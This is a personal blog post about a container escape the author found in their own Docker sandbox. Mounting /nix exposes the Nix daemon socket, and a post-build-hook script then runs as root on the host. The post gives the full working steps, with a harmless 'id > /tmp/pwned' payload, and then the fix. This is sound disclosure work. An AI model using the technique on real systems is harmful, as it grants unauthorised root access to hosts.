finding a container escape in my own sandboxing solution
I was playing around with the sandboxes described in my previous blog post when I stumbled into a weird behaviour. I eventually distilled it into the following problem:
~ $ which nix-build
/run/current-system/sw/bin/nix-build
~ $ readlink $(which nix-build)
/nix/store/9v8slk1l2v1kdcai5518avm26717hz2m-nix-2.31.2/bin/nix-build
~ $ docker run --rm -it -v /nix:/nix:ro ubuntu bash
root@38498e6193ad:/# cat <<EOF > default.nix
let
pkgs = import (fetchTarball {
url = "https://github.com/NixOS/nixpkgs/archive/4590696c8693fea477850fe379a01544293ca4e2.tar.gz";
sha256 = "sha256-4XfMXU0DjN83o6HWZoKG9PegCvKvIhNUnRUI19vzTcQ=";
}) {};
in
pkgs.writeText "my-text" "unique number 1337"
EOF
root@38498e6193ad:/# export PATH="/nix/store/9v8slk1l2v1kdcai5518avm26717hz2m-nix-2.31.2/bin:$PATH"
root@38498e6193ad:/# nix-build
this derivation will be built:
/nix/store/cn5j2qxpi43sfzs1cq27i5vbv9kbkrpp-my-text.drv
building '/nix/store/cn5j2qxpi43sfzs1cq27i5vbv9kbkrpp-my-text.drv'...
/nix/store/30zlqwgm8x0nyc508dsz0h9j3mh3qk6y-my-textTo summarise, I am mounting /nix into the container read only as done in my previous blog post. Because /nix is read only, I expect usage of nix-build to fail as it should attempt to write to a new nix store path and error out with an error such as Read-only file system.
However, it looks like the build actually worked??
What’s more, it looks like the file does exist on my host?
~ $ cat /nix/store/30zlqwgm8x0nyc508dsz0h9j3mh3qk6y-my-text
unique number 1337How could this happen?
discovering the issue
I reckon it’s a safe bet to say that Docker by default doesn’t allow “nix-build as a sandbox escape”. Therefore the issue must lie within the read only mount of the nix store. We can use strace and grep for any paths involving /nix. The results were pretty long so I also grepped for those that contain “write”.
root@38498e6193ad:/# export PATH="/nix/store/rjms1v6fyvd4k8n7jmvf5dpqvisy6jsj-strace-6.18/bin:$PATH"
root@38498e6193ad:/# strace nix-build 2>&1 | grep write | grep '/nix/' | head -n 5
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, ")\3\0\0\0\0\0\0Derive([(\"out\",\"/nix/sto"..., 825) = 825
write(5, "l\3\0\0\0\0\0\0Derive([(\"out\",\"/nix/sto"..., 892) = 892Whoops, it looks like I actually made a mistake in the command because strace only shows the file descriptor of what it is writing to. So grepping for /nix/ actually doesn’t help us (we should be grepping for a file descriptor that was previously open’d at a /nix/ path). However, the results that did show up are quite intriguing: it looks like it is writing nix related stuff to file descriptor 5 and it’s succeeding 🤔
Let’s investigate and find out what file descriptor 5 is. This time let’s put the results in a log file so we can be sure the file descriptor doesn’t change number.
root@38498e6193ad:/# strace nix-build 2>strace.log
/nix/store/30zlqwgm8x0nyc508dsz0h9j3mh3qk6y-my-text
root@38498e6193ad:/# cat strace.log | grep write | grep '/nix/' | head -n 5
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, ")\3\0\0\0\0\0\0Derive([(\"out\",\"/nix/sto"..., 825) = 825
write(5, "l\3\0\0\0\0\0\0Derive([(\"out\",\"/nix/sto"..., 892) = 892
root@38498e6193ad:/# cat strace.log | grep '/nix/' | grep -E '[^a-zA-Z0-9.]5[^a-zA-Z0-9.]' | head -n 5
connect(5, {sa_family=AF_UNIX, sun_path="/nix/var/nix/daemon-socket/socket"}, 110) = 0
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
write(5, "\1\0\0\0\0\0\0\0002\0\0\0\0\0\0\0/nix/store/i2mnj"..., 72) = 72
read(5, "stla\0\0\0\0<\0\0\0\0\0\0\0/nix/store/l622p"..., 32768) = 280The reason for the [^a-zA-Z0-9.]5[^a-zA-Z0-9.] regex is to isolate entries that have the number 5 but don’t include 5 within another number or hash or version number.
Anyway, we have found where file descriptor one comes from, it’s a UNIX socket at the path /nix/var/nix/daemon-socket/socket!
finding the impact
So what does this “nix socket” actually do? From a light Google search it seems that it is essentially a communication pipe between the Nix Daemon (responsible for doing builds) and programs that initiate the build (in our case, nix-build).
In this context it now makes sense why we can perform nix builds from within the container. Writing to a UNIX socket does not violate the read only mount, and by communicating through the socket the container is able to ask the host to build the derivation for it.
My next question was, can this be used to escape the container completely?
For this I took inspiration from this CTF writeup. The trick is to set the option post-build-hook to a shell script and then run a build.
First we create the shell script. It needs to exist in the nix store as this is a path accessible on the host.
root@38498e6193ad:/# cat <<EOF > default.nix
let
pkgs = import (fetchTarball {
url = "https://github.com/NixOS/nixpkgs/archive/4590696c8693fea477850fe379a01544293ca4e2.tar.gz";
sha256 = "sha256-4XfMXU0DjN83o6HWZoKG9PegCvKvIhNUnRUI19vzTcQ=";
}) {};
in
pkgs.writeScript "my-script" "id > /tmp/pwned"
EOF
root@38498e6193ad:/# nix-build
this derivation will be built:
/nix/store/jafbcn1f8ky187d618rysy9ayhhz02vp-my-script.drv
building '/nix/store/jafbcn1f8ky187d618rysy9ayhhz02vp-my-script.drv'...
/nix/store/48vw0p61wdx82xikha5v6x50nba0x2si-my-scriptNow we need to build a new derivation (hence the unique number in pkgs.writeText. If the derivation already has been built the hook will not run). We set the post-build-hook option in the second build.
root@38498e6193ad:/# cat <<EOF > default.nix
let
pkgs = import (fetchTarball {
url = "https://github.com/NixOS/nixpkgs/archive/4590696c8693fea477850fe379a01544293ca4e2.tar.gz";
sha256 = "sha256-4XfMXU0DjN83o6HWZoKG9PegCvKvIhNUnRUI19vzTcQ=";
}) {};
in
pkgs.writeText "my-text" "unique number 31337"
EOF
root@38498e6193ad:/# nix-build --option post-build-hook /nix/store/48vw0p61wdx82xikha5v6x50nba0x2si-my-script
this derivation will be built:
/nix/store/l047afvl6sfapbq1nbc6rvqhi2n71zh2-my-text.drv
building '/nix/store/l047afvl6sfapbq1nbc6rvqhi2n71zh2-my-text.drv'...
/nix/store/6qvf6yxjx1xamanlp4f72jp3xjaj4nkc-my-textNow we check if code execution was successful on the host:
~ $ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)It appears that the post-build-hook runs as the same user as the one that initiated the build. So in our case, as we were root in the container, we become root on the host. 😬
the fix
Giving my “sandboxes” root access to the host is a bad idea (TM). Luckily the fix is pretty easy, instead of forwarding /nix to the container, we forward /nix/store instead. We don’t actually need any of the paths in /nix/var for my purposes.
~ $ docker run --rm -it -v /nix/store:/nix/store:ro ubuntu bash
root@14849c0cfe66:/# cat <<EOF > default.nix
let
pkgs = import (fetchTarball {
url = "https://github.com/NixOS/nixpkgs/archive/4590696c8693fea477850fe379a01544293ca4e2.tar.gz";
sha256 = "sha256-4XfMXU0DjN83o6HWZoKG9PegCvKvIhNUnRUI19vzTcQ=";
}) {};
in
pkgs.writeText "my-text" "unique number 1337"
EOF
root@14849c0cfe66:/# export PATH="/nix/store/9v8slk1l2v1kdcai5518avm26717hz2m-nix-2.31.2/bin:$PATH"
root@14849c0cfe66:/# nix-build
error: remounting /nix/store writable: Operation not permittedMuch better.
Thanks for reading my blog! Until next time ;)